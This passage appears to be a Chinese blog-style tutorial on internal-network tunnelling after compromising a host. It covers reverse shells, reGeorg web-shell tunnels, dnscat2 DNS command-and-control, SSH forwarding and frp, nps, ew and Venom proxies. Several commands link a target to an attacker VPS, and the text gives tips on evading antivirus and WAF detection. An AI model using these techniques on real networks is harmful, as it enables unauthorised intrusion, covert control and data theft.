内网安全学习从入门到入狱-知识-内网隧道技术小结
文章目录
0x00 内网穿透技术
当我们拿到一台内网主机后,一般都是有区域隔离的。
所以内网隧道技术,就是我们必须要掌握的。
我简单介绍一下建立通信隧道,常见的有端口转发等
主要隧道有:
ICMP TCP UDP
SSH HTTP DNS
SOCKS
0x01 首先判断出网协议
icmp协议:
1 | ping 命令 |
TCP协议:
1 | curl www.baidu.com |
HTTP协议:
1 | curl ip:port |
DNS协议:
1 | Nslookup www.baidu.com |
0x02 各种协议隧道
网络层
ICMP隧道
ICMP(Internet Control Message Protocol):没有目的端口与源端口,属于Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。
icmp隧道常用攻击:icmpsh、PRISM
icmpsh
环境说明:跨平台、不需要管理员运行
有三台机器: VPS–边界机–内网机
VPS操作过程:
下载icmpsh
安装依赖
1 | 服务端禁用: |
还有一种方法
1 | 编译 gcc icmpsh-m.c |
Lcx
内网端口转发
老工具了也是
1 | 目标主机: |
传输层
瑞士军刀:nc
nc 是一款比较老的工具,但是确实是经典俗称瑞士军刀,简单介绍一下
简单互相传输功能:
1 | vps: |
文件传输功能:
1 | vps: |
shell的反弹:
1 | 正向连接: |
注意:windows版本CMD位置
C:\windows\system32\cmd.exe
Bash反向shell
1 | nc -lvp 4444 |
Powercat(powershell版的nc)
1 | 正向和反向连接: |
可以反弹powershell
1 | -eq |
文件上传
这个不用说,基本这种连接的都支持
在c:
下新建一个test.txt
的文件,写入数据
在有text.txt
的机器执行:
1 | powercat -c 192.168.12.108 -p 9999 -i c:test.txt -v |
另一台机器执行
1 | powercat -l -p 9999 -of c:test.txt -v |
推荐:netsh端口转发(window平台)
netsh仅支持TCP协议, 适用于双网卡服务器
1 | 查看系统防火墙状态 |
应用层
SSH转发:
一个正常的SSH命令
1 | ssh [email protected] |
SSH 本地转发机制:
拓扑:
VPS—-边界WEB—-目标主机
边界WEB双网卡192.168.1.1和10.1.1.1段
本地转发机制:
选项:
1 | -C 压缩传输 |
使用方法:
在VPS上运行
1 | ssh -CfNg -L <vps port>:<目标主机 host>:<目标主机 port> <SSH 边界机> |
1 | #VPS检查---查看端口是否已经连接 |
当访问 VPS 5555 端口的时候,就转发给 [email protected] 边界机 ,发送给目标主机
SSH 远程转发机制:
拓扑:
VPS—-边界WEB—-目标主机
边界WEB—-目标主机—都是单网卡,都是纯内网 10.1.1.1段
在WEB边界机运行
1 | ssh -CfNg -R <vps port>:<目标主机 host>:<目标主机 port> <SSH VPS主机> |
边界机把内网的端口,远程连接道VPS,远程转发道VPS
SSH 动态转发机制:
这里主要是建立一个动态的socks代理隧道
在VPS上运行
1 | ssh -CfNg -D 7000 <SSH 边界主机> |
VPS上7000端口上,开了一个socks代理,用代理软件就可以连接
HTTP HTTPS协议隧道
- reGeorg:
将对应的脚本文件上传到目标服务器,根据不同的网站类型php jsp asp等,上传对应的脚本 reGeorg.php
攻击机(VPS)运行:
1 | python reGeorgSocksProxy.py -l 46.46.46.46(VPS的IP) -p 666(VPS端口) -u http://(目标服务器IP)/reGeorg.php |
然后在本地通过代理工具链接本地的666,就是链接好隧道了
注意:这个查杀比较严重,建议会免杀的修改修改。
非常遗憾的是,目前大部分WAF
都会针对默认原装版本的reGeorg
。(可以自己修改后使用)
2.Neo-reGeorg
这里推荐用 Neo-reGeorg 这个也不错,是重构reGeorg 的一个作品
https://github.com/L-codes/Neo-reGeorg
用法类似:
VPS上支持生成的服务端,默认 GET 请求响应指定的页面内容 (如伪装的404页面)
1 | $ python neoreg.py generate -k <you_password> --file 404.html |
将相应的隧道文件放到目标服务器的web目录后使用neoreg连接web服务器并建立本地socks代理。
VPS上运行
1 | $ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080(本地代理地址) |
Socks连接工具连接本地127.0.0.1:1080
DNS 隧道:
dnscat2
工具dnscat2,这是一DNS隧道,该工具旨在通过DNS协议创建加密的命令和控制(C&C)通道,还有自己的控制台
dnscat2分为两个部分:客户端和服务器。
服务端为Ruby
编写,需安装Ruby环境。kali系统内置Ruby,但是运行时仍可能报缺少一些gem依赖:
服务端VPS:
1 | 安装依赖: |
目标主机客户端:
上传dnsClient.zip 到目标主机 解压
1 | ./dnscat --dns server=服务端ip,port=53 --secret=服务端生成的秘钥 |
直连模式使用方法:
1 | VPS中 server路径下: |
1 | 常用命令: |
Socks代理:
下面基本上都是可以支持多种协议,之介绍scoks的情况,大家可以自己查看使用方法
也推荐使用这些工具
nps: https://github.com/ehang-io/nps
**ew:**https://github.com/idlefire/ew
frp: https://github.com/fatedier/frp
推荐使用
Nps
nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。
(https://github.com/ehang-io/nps\)
优点:
- 协议支持全面,兼容几乎所有常用协议,例如tcp、udp、http(s)、socks5、p2p、http代理…
- 全平台兼容(linux、windows、macos、群辉等),支持一键安装为系统服务
- 操作简单,只需简单的配置即可在web ui上完成其余操作
- 展示信息全面,流量、系统信息、即时带宽、客户端版本等
- 扩展功能强大,该有的都有了(缓存、压缩、加密、流量限制、带宽限制、端口复用等等)
环境说明:
kali边界机: 192.168.5.123 192.168.3.2
kali2: 192.168.5.128 攻击者vps机器
win7:192.168.3.99 内网机器
1 启动服务端
1 | vim ./conf/nps.conf |
在服务端配置conf/nps.conf文件,修改用户名密码,端口号后启动服务,最好不要和已有的端口冲突
1 | 默认端口 |
直接访问自己设计的web端口 http://IP:8081/login/index
友好的操作界面!
2 新增一个客户端,在配置中填写socks代理的密码
3 记住唯一验证密钥和ID,连接使用
4 客户端连接,上传npc到边界机
1 | npc.exe -server=服务端ip:8024 -vkey=生成的vkey -type=tcp |
成功上线,点击隧道配置代理
新建隧道,协议很全
![[(img-KVfWBLv0-1588732919232)(/Users/zy/Documents/文档文件/学习笔记/内网/内网隧道技术.assets/image-20200430111407478.png)]](https://image-1257110520.cos.ap-beijing.myqcloud.com/20200506104619902.png
这个界面十分友好,就不继续介绍,基本看一眼就会用了。
ew
EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,可以用于多层的内网穿透
多层内网穿透可以去GitHub查找
1 | VPS开启监听: |
多层内网二层网络,A无外网 IP–vps 流量转发 +B 正向代理 +A作为跳板端口绑定
VPS–边界机(可以出网)–内网机(目标网络内部主机,无法访问公网)
1 | VPS: |
VPS将1080的代理请求转发到8888
在边界机上,通过工具的 lcx_slave 方式,打通VPS:8888 和 内网机:9999 之间的通讯隧道
在内网主机上利用 ssocksd 方式启动 9999 代理
我们是可通过访问VPS:1080 来使用内网主机提供的 socks5 代理
Frp
- frp 是一个可用于内网穿透的高性能的反向代理应用
- 支持 tcp, udp 协议,为 http 和 https
将 frps 及 frps.ini 放到具有公网 IP 的机器上。
将 frpc 及 frpc.ini 放到处于内网环境的机器上。
首先在vps上启动frp服务端,开启一个端口,默认是7000:
1 | ./frps -c frps.ini |
再配置frp的客户端:
修改 frpc.ini 文件,假设 frps 所在服务器的公网 IP 为 x.x.x.x:
1 | [common] |
注意:上面的配置了用户名密码 root root 代理的时候注意要加上
1 | 最后两个配置是 |
启动 frpc:
1 | frpc.exe -c ./frpc.ini |
最后,使用代理软件连接服务端的8881建立连接
Venom
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具
admin节点和agent节点均可监听连接也可发起连接,可以互相的连接。
admin监听端口,agent发起连接:
1 | ./admin_linux_x64 -lport 8838 |
连接成功后出现交互界面 admin node help一下看到功能
1 | help Help information. |
1 | 先show 看下拓扑 |
有意思的是这个还能出一个shell,也挺方便
0x03 总结
内网穿透的东西还是比较重要的,内网断网机常常都得用隧道,所以小结一下,选择的时候最好要有较好的稳定性,支持多种协议,流量可加密,推荐使用最后推荐的几种工具,如果只是端口转发推荐netsh和SSH转发较为稳定。